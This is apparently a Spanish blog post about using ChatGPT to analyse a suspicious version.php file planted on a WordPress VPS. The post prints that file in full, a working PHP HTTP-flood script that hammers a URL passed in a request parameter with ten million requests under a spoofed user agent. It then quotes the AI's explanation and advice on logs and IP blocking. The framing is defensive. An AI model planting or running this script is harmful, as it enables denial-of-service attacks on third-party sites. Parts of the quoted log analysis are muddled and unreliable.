ChatGPT me ayudó con las brechas de Seguridad en un VPS

¿Sabías que la Inteligencia Artificial te puede ayudar a identificar brechas de Seguridad en tu Servidor de Hosting?
[post-views]
Compartir:
Facebook
Twitter
LinkedIn
Pinterest
WhatsApp
Telegram
Reddit

Si te dijera que la misma Inteligencia Artificial que redacta contenidos para blog y crea plugins para wordpress, también sirve para encontrar brechas de seguridad en el servidor de hosting ¿me creerías?

Hace unos días atrás una web de un amigo estaba super lenta, tras analizar el sitio web encontré un archivo que se me hacía sospechoso, en la carpeta de wp-admin había un archivo llamado version.php y si, hay un archivo del core de WordPress que se llama así, pero este estaba en una subcarpeta, así que decidí analizar el código y me encontré con lo siguiente

<?php
ignore_user_abort();
set_time_limit(0);

$url=$_REQUEST['pool'];
for ($i=0; $i < 10000000; $i++) { 
$ch = curl_init($url);
$opts = array(CURLOPT_RETURNTRANSFER => 1, 
CURLOPT_USERAGENT      => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3538.77 Safari/537.36',
CURLOPT_CONNECTTIMEOUT => 10,
CURLOPT_FOLLOWLOCATION => 0); 
curl_setopt_array($ch, $opts); 
curl_exec($ch);
curl_close($ch);
}
?>

Así que dado que era muy sospechoso le pregunté a ChatGPT si sabía que era y me dijo:

Este código parece ser un script de ataque DDoS (Denial-of-Service)

Este código utiliza la biblioteca cURL de PHP para realizar una solicitud HTTP a la URL que se proporciona en la variable $url en un bucle de 10 millones de iteraciones. El objetivo del script es inundar el sitio web de destino con solicitudes HTTP, lo que podría hacer que el sitio web se ralentice o se vuelva inaccesible.

Además, las primeras dos líneas del código establecen la ejecución del script para que ignore la interrupción del usuario y establezca un límite de tiempo para la ejecución en infinito (set_time_limit(0)).

Si este código apareció en su sitio web sin su conocimiento, debe eliminarlo inmediatamente para evitar la posibilidad de que su sitio web se utilice para un ataque DDoS. Además, es importante investigar cómo se agregó este código a su sitio web para evitar futuras violaciones de seguridad.

Entonces le pedí que me explicara el código.

Aquí está una explicación detallada de las otras líneas de código en el script:

  • La función ignore_user_abort() se utiliza para asegurarse de que el script continúe ejecutándose incluso si el usuario cierra su navegador o cancela la solicitud.
  • La función set_time_limit(0) se utiliza para desactivar el límite de tiempo de ejecución del script. Si se establece en cero, el script se ejecutará sin tiempo límite hasta que se complete o se detenga manualmente.
  • La variable $url se establece a través del parámetro de solicitud pool. Esto significa que el script espera que se le proporcione una URL de destino a través de una solicitud HTTP GET, y la almacena en la variable $url.
  • El bucle for se ejecuta 10 millones de veces (for ($i=0; $i < 10000000; $i++)) y en cada iteración se realiza una solicitud HTTP a la URL proporcionada en $url.
  • En cada iteración del bucle, se inicializa una nueva sesión cURL mediante la función curl_init(), que toma como parámetro la URL de destino.
  • A continuación, se establecen las opciones de cURL para la sesión actual mediante la función curl_setopt_array(). Aquí, las opciones establecidas incluyen CURLOPT_RETURNTRANSFER que devuelve el resultado de la solicitud HTTP como una cadena en lugar de mostrarlo directamente en la salida; CURLOPT_USERAGENT que simula un navegador web para evitar la detección de la solicitud HTTP como una solicitud automatizada y CURLOPT_CONNECTTIMEOUT que establece un tiempo límite de 10 segundos para establecer la conexión con el servidor de destino.
  • La función curl_exec() se utiliza para ejecutar la solicitud HTTP actual.
  • Finalmente, la sesión cURL se cierra mediante la función curl_close(), y el bucle continúa a la siguiente iteración.

Este código utiliza la biblioteca cURL de PHP para realizar una solicitud HTTP a una URL proporcionada, en un bucle de 10 millones de iteraciones, con el objetivo de atacar y sobrecargar el servidor de destino con solicitudes HTTP.

Es sorprendente lo que se puede lograr con un código relativamente pequeño como este. La función curl_init() proporciona una forma muy conveniente de realizar solicitudes HTTP desde PHP, y la biblioteca cURL subyacente es muy poderosa y versátil.

En este caso, el script realiza una solicitud HTTP a la URL de destino en un bucle de 10 millones de iteraciones, lo que puede consumir una gran cantidad de recursos del servidor y hacer que el sitio web de destino se vuelva inaccesible.

Es importante tener en cuenta que este tipo de actividad es ilegal y altamente perjudicial para los sitios web y servidores de destino. Si detecta actividad malintencionada como esta en su sitio web o servidor, debe tomar medidas inmediatas para detenerla y proteger su sitio web y sus usuarios.

Le pregunté luego si era posible determinar desde que IP se habían realizado las solicitudes y cómo detectarlo y me respondió lo siguiente:

Es posible que pueda encontrar información sobre las solicitudes HTTP en los registros de acceso del servidor.

Los registros de acceso del servidor se pueden encontrar en diferentes ubicaciones según el servidor y el sistema operativo que esté utilizando. En general, los registros de acceso del servidor contienen información detallada sobre cada solicitud HTTP que se realiza al servidor, incluida la dirección IP del cliente que realizó la solicitud.

En el caso de Apache, los registros de acceso se pueden encontrar en el archivo access.log o error.log, ubicados generalmente en la carpeta de logs del servidor. Puede usar una herramienta de análisis de registros como AWStats o Webalizer para analizar estos registros y obtener información detallada sobre las solicitudes HTTP.

Si no está seguro de dónde se almacenan los registros de acceso en su servidor, puede consultar la documentación del servidor o contactar al proveedor de alojamiento web para obtener más información. También puede buscar en línea recursos y tutoriales específicos para el servidor y sistema operativo que está utilizando.

Cómo utilizar ChatGPT y la Inteligencia Artificial para protegernos de los Hackers

Al día de hoy solo creo que el potencial de ChatGPT es infinito.  Después de lo anterior fui al servidor a buscar el log de acceso se lo di y me encontró no solo las IPs del atacante si no también encontró varias IPs enviando solicitudes de ataque, me dio la lista de IPs y las bloquee en el firewall.

Como ChatGPT tiene un límite de 3.000 palabras, busque en los registros los accesos identificados con el User Agent del script atacante y me dejo información muy valiosa.

1) Se están realizando solicitudes para directorios con «DirectoryIndex» no encontrados:

I Love WordPress posibles amenazas

Los atacantes a menudo intentan enumerar los directorios del servidor en busca de archivos sensibles que puedan aprovechar en un ataque posterior. Estas solicitudes sugieren que el atacante está buscando un archivo específico en un directorio. El hecho de que el servidor no pueda servir el directorio y no tenga ningún archivo en el índice que se ajuste a la solicitud, indica que el ataque ha fallado.

2) Advertencias de PHP al leer la propiedad «post_type» en nulo:

Estas advertencias de PHP indican que hay un problema con el código PHP en el servidor. Los atacantes a menudo intentan explotar vulnerabilidades conocidas en aplicaciones web para ejecutar código malicioso.

Es posible que el atacante haya identificado una vulnerabilidad en el código PHP que está utilizando el sitio web y esté intentando explotarla. Las advertencias de PHP también podrían ser el resultado de un error en el código PHP que no está relacionado con un ataque.

3) Solicitudes que hacen referencia a «binance.com»:

Además de los errores de DirectoryIndex, hay varias instancias de «Advertencia de PHP: intento de leer la propiedad «post_type» en errores nulos», que podrían indicar una posible vulnerabilidad o ataque en el servidor.

Estos errores sugieren que alguien puede estar intentando ejecutar código arbitrario en el servidor o explotar una vulnerabilidad en la instalación de WordPress. También vale la pena señalar que varias de las solicitudes en el registro provienen de fuentes sospechosas, como «binance.com», lo que podría ser una indicación de una botnet u otro actor malicioso que intenta comprometer el servidor.

Según este registro, está claro que existen varias amenazas potenciales para el servidor. Para mitigar estas amenazas, es importante asegurarse de que el servidor y todo el software instalado en él estén actualizados con los parches de seguridad más recientes, y que todos los servicios y puertos innecesarios estén cerrados al tráfico externo. Además, la implementación de políticas de contraseñas seguras y la autenticación de múltiples factores puede ayudar a evitar el acceso no autorizado al servidor.

¿Qué otras cosas podemos hacer con ChatGPT?

Si te parece que analizar los registros de acceso y error del servidor para identificar problemas de rendimiento, errores de servidor y otros problemas, además de encontrar brechas de seguridad y explicarlas al detalle no es suficiente, aquí te dejo una lista de otras cosas que ya he podido comprobar que hace de manera muy eficiente:

  1. Verificación de enlaces: ChatGPT y GPT3 son muy diligentes a la hora de analizar los enlaces rotos, bucles de redireccionamiento o enlaces a sitios web maliciosos.
  2. Análisis de seguridad: Como ya vimos puedes darle un código php y te dice exactamente que hace, pero no es solo php, también cualquier lenguaje que funcione en el servidor incluso las líneas de el archivo .htaccess.
  3. Optimización de motores de búsqueda (SEO): No me refiero a las tan conocidas habilidades de redacción de texto, si no a tareas como la estructura del sitio web y clasificación de los contenidos entre otras cositas (ya haré un post solo dedicado a esto).
  4. Soporte técnico: La semana pasada estuve luchando con una web que no tenia unos puertos habilitados, la escasa documentación en internet no ayudaba y … ¿adivinas? Le puedes pedir desde que te ayude con comandos de Linux hasta crear un script de shell para automatizar tareas repetitivas o complejas.

Si hay algo mas que haz intentado y te ha dado buenos resultados me gustaría que lo compartieras en los comentarios para ver que mas se le puede aprovechar a esta maravillosa herramienta.

Compartir:
Publicado por:
Facebook
Twitter
LinkedIn
WhatsApp
Pinterest
Telegram
We use cookies in order to give you the best possible experience on our website. By continuing to use this site, you agree to our use of cookies.
Accept